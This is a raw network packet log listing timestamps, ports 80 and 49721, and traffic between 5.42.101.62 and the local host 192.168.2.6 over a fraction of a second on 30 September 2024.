Sep 30, 2024 13:59:29.983189106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983191967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983195066 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983237982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983237982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983252048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983262062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983272076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983282089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983293056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983309984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983309984 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983366966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983372927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983408928 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983541012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983628035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983753920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983767033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983776093 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983812094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983812094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983838081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983850002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983860016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983870029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.983881950 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.983911991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.984026909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984040022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984050035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984060049 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984070063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984080076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.984087944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984093904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.984098911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.984133959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.984133959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985057116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985104084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985116005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985140085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985140085 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985192060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985230923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985241890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985250950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985260963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985269070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985271931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985281944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985322952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985500097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985522985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985533953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985543966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985551119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985554934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985562086 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985565901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985578060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985586882 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985625029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985625029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985760927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985774040 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985783100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985793114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985804081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985812902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985820055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985820055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985822916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.985860109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.985860109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.073312998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073386908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073400974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073432922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073443890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073447943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.073447943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.073453903 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073466063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.073518991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.073518991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074151039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074165106 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074176073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074186087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074197054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074204922 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074206114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074218035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074229002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074239969 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074245930 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074250937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074271917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074271917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074304104 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074315071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074317932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074325085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074336052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074347019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074357033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074364901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074364901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074368000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074378967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074389935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074399948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074410915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074417114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074417114 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074421883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.074440002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074453115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.074527979 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075138092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075149059 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075156927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075166941 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075180054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075200081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075207949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075207949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075211048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075222015 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075232029 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075232029 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075242996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075253010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075263977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075273991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075280905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075280905 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075284004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075295925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075305939 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075313091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075315952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075328112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075336933 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075339079 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075349092 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075351000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075360060 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075361967 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075371027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075388908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075401068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075408936 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075423002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075473070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075644016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075654984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075670004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075680017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075690031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075700998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075711012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075711012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075711012 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075721025 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075731993 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.075752974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075752974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.075845003 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076570988 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076582909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076592922 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076602936 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076612949 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076622963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076628923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076633930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076644897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076651096 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076654911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076664925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076670885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076674938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076684952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076694965 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076704979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076724052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076735020 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076745033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076751947 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076752901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076756954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076764107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076764107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076767921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076777935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076786995 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076798916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076807976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076811075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076811075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076818943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076828957 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076838970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076849937 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076855898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076855898 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076860905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076870918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076880932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076891899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076901913 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.076913118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076913118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.076939106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078202009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078212976 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078222990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078233004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078243017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078253031 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078263998 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078270912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078270912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078274012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078284979 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078294039 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078310013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078325033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078325033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078325033 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078335047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078346014 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078357935 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.078363895 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078385115 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.078412056 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.079202890 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079214096 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079222918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079233885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079243898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079253912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079258919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.079263926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079276085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.079289913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.079289913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.079310894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.079333067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164006948 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164041042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164053917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164104939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164127111 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164139986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164150953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164161921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164165974 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164179087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164196968 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164208889 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164210081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164248943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164248943 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164252996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164264917 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164316893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164316893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164350033 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164364100 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164374113 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164385080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.164391041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164417982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164444923 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.164998055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165060043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165077925 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165090084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165115118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165131092 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165246964 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165260077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165271044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165282011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165314913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165314913 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165379047 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165394068 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165405989 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165416002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165424109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165426970 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165441036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165445089 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165463924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165474892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165477037 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165484905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165492058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165502071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165512085 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165515900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165523052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165532112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165535927 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165563107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165569067 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165575027 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165584087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165589094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165595055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165606022 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165610075 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165617943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165628910 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165641069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165643930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165656090 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165679932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165679932 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165718079 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165752888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165853977 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165883064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165894032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165923119 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165972948 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:30.165982962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:30.165994883 CEST	80	49721	5.42.101.62	192.168.2.6
